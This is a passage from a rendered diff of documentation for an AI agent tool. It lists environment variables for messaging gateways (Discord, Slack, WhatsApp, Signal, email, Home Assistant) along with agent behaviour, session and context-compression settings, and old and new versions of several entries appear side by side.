| `DISCORD_ALLOWED_USERS` | Comma-separated Discord user IDs allowed to use the bot |
|
||||
| `DISCORD_HOME_CHANNEL` | Default Discord channel for cron delivery |
|
||||
| `DISCORD_HOME_CHANNEL_NAME` | Display name for the Discord home channel |
|
||||
| `DISCORD_REQUIRE_MENTION` | Require an @mention before responding in server channels |
|
||||
| `DISCORD_FREE_RESPONSE_CHANNELS` | Comma-separated channel IDs where mention is not required |
|
||||
| `DISCORD_AUTO_THREAD` | Auto-thread long replies when supported |
|
||||
| `DISCORD_ALLOWED_USERS` | Comma-separated user IDs allowed to use bot |
|
||||
| `DISCORD_HOME_CHANNEL` | Default channel for cron delivery |
|
||||
| `DISCORD_HOME_CHANNEL_NAME` | Display name for home channel |
|
||||
| `SLACK_BOT_TOKEN` | Slack bot token (`xoxb-...`) |
|
||||
| `SLACK_APP_TOKEN` | Slack app-level token (`xapp-...`, required for Socket Mode) |
|
||||
| `SLACK_ALLOWED_USERS` | Comma-separated Slack user IDs |
|
||||
| `SLACK_HOME_CHANNEL` | Default Slack channel for cron delivery |
|
||||
| `SLACK_HOME_CHANNEL_NAME` | Display name for the Slack home channel |
|
||||
| `WHATSAPP_ENABLED` | Enable the WhatsApp bridge (`true`/`false`) |
|
||||
| `WHATSAPP_ENABLED` | Enable WhatsApp bridge (`true`/`false`) |
|
||||
| `WHATSAPP_MODE` | `bot` (separate number) or `self-chat` (message yourself) |
|
||||
| `WHATSAPP_ALLOWED_USERS` | Comma-separated phone numbers (with country code, no `+`) |
|
||||
| `SIGNAL_HTTP_URL` | signal-cli daemon HTTP endpoint (for example `http://127.0.0.1:8080`) |
|
||||
| `SIGNAL_ACCOUNT` | Bot phone number in E.164 format |
|
||||
| `WHATSAPP_ALLOWED_USERS` | Comma-separated phone numbers (with country code) |
|
||||
| `SIGNAL_HTTP_URL` | signal-cli daemon HTTP endpoint (e.g., `http://127.0.0.1:8080`) |
|
||||
| `SIGNAL_ACCOUNT` | Bot phone number in E.164 format (e.g., `+15551234567`) |
|
||||
| `SIGNAL_ALLOWED_USERS` | Comma-separated E.164 phone numbers or UUIDs |
|
||||
| `SIGNAL_GROUP_ALLOWED_USERS` | Comma-separated group IDs, or `*` for all groups |
|
||||
| `SIGNAL_HOME_CHANNEL_NAME` | Display name for the Signal home channel |
|
||||
| `SIGNAL_IGNORE_STORIES` | Ignore Signal stories/status updates |
|
||||
| `SIGNAL_ALLOW_ALL_USERS` | Allow all Signal users without an allowlist |
|
||||
| `EMAIL_ADDRESS` | Email address for the Email gateway adapter |
|
||||
| `EMAIL_PASSWORD` | Password or app password for the email account |
|
||||
| `EMAIL_IMAP_HOST` | IMAP hostname for the email adapter |
|
||||
| `EMAIL_IMAP_PORT` | IMAP port |
|
||||
| `EMAIL_SMTP_HOST` | SMTP hostname for the email adapter |
|
||||
| `EMAIL_SMTP_PORT` | SMTP port |
|
||||
| `EMAIL_ALLOWED_USERS` | Comma-separated email addresses allowed to message the bot |
|
||||
| `EMAIL_HOME_ADDRESS` | Default recipient for proactive email delivery |
|
||||
| `EMAIL_HOME_ADDRESS_NAME` | Display name for the email home target |
|
||||
| `EMAIL_POLL_INTERVAL` | Email polling interval in seconds |
|
||||
| `EMAIL_ALLOW_ALL_USERS` | Allow all inbound email senders |
|
||||
| `HASS_TOKEN` | Home Assistant Long-Lived Access Token (enables HA platform + tools) |
|
||||
| `HASS_URL` | Home Assistant URL (default: `http://homeassistant.local:8123`) |
|
||||
| `MESSAGING_CWD` | Working directory for terminal commands in messaging mode (default: `~`) |
|
||||
| `SIGNAL_GROUP_ALLOWED_USERS` | Comma-separated group IDs, or `*` for all groups (omit to disable groups) |
|
||||
| `MESSAGING_CWD` | Working directory for terminal in messaging (default: `~`) |
|
||||
| `GATEWAY_ALLOWED_USERS` | Comma-separated user IDs allowed across all platforms |
|
||||
| `GATEWAY_ALLOW_ALL_USERS` | Allow all users without allowlists (`true`/`false`, default: `false`) |
|
||||
| `GATEWAY_ALLOW_ALL_USERS` | Allow all users without allowlist (`true`/`false`, default: `false`) |
|
||||
|
||||
## Agent Behavior
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `HERMES_MAX_ITERATIONS` | Max tool-calling iterations per conversation (default: 60) |
|
||||
| `HERMES_TOOL_PROGRESS` | Deprecated compatibility variable for tool progress display. Prefer `display.tool_progress` in `config.yaml`. |
|
||||
| `HERMES_TOOL_PROGRESS_MODE` | Deprecated compatibility variable for tool progress mode. Prefer `display.tool_progress` in `config.yaml`. |
|
||||
| `HERMES_TOOL_PROGRESS` | Send progress messages when using tools (`true`/`false`) |
|
||||
| `HERMES_TOOL_PROGRESS_MODE` | `all` (every call, default) or `new` (only when tool changes) |
|
||||
| `HERMES_HUMAN_DELAY_MODE` | Response pacing: `off`/`natural`/`custom` |
|
||||
| `HERMES_HUMAN_DELAY_MIN_MS` | Custom delay range minimum (ms) |
|
||||
| `HERMES_HUMAN_DELAY_MAX_MS` | Custom delay range maximum (ms) |
|
||||
| `HERMES_QUIET` | Suppress non-essential output (`true`/`false`) |
|
||||
| `HERMES_API_TIMEOUT` | LLM API call timeout in seconds (default: `900`) |
|
||||
| `HERMES_EXEC_ASK` | Enable execution approval prompts in gateway mode (`true`/`false`) |
|
||||
|
||||
## Session Settings
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `SESSION_IDLE_MINUTES` | Reset sessions after N minutes of inactivity (default: 1440) |
|
||||
| `SESSION_IDLE_MINUTES` | Reset sessions after N minutes of inactivity (default: 120) |
|
||||
| `SESSION_RESET_HOUR` | Daily reset hour in 24h format (default: 4 = 4am) |
|
||||
|
||||
## Context Compression
|
||||
@@ -170,7 +143,7 @@ All variables go in `~/.hermes/.env`. You can also set them with `hermes config
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `CONTEXT_COMPRESSION_ENABLED` | Enable auto-compression (default: `true`) |
|
||||
| `CONTEXT_COMPRESSION_THRESHOLD` | Trigger at this % of limit (default: 0.50) |
|
||||
| `CONTEXT_COMPRESSION_THRESHOLD` | Trigger at this % of limit (default: 0.85) |
|
||||
| `CONTEXT_COMPRESSION_MODEL` | Model for summaries |
|
||||
|
||||
## Provider Routing (config.yaml only)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user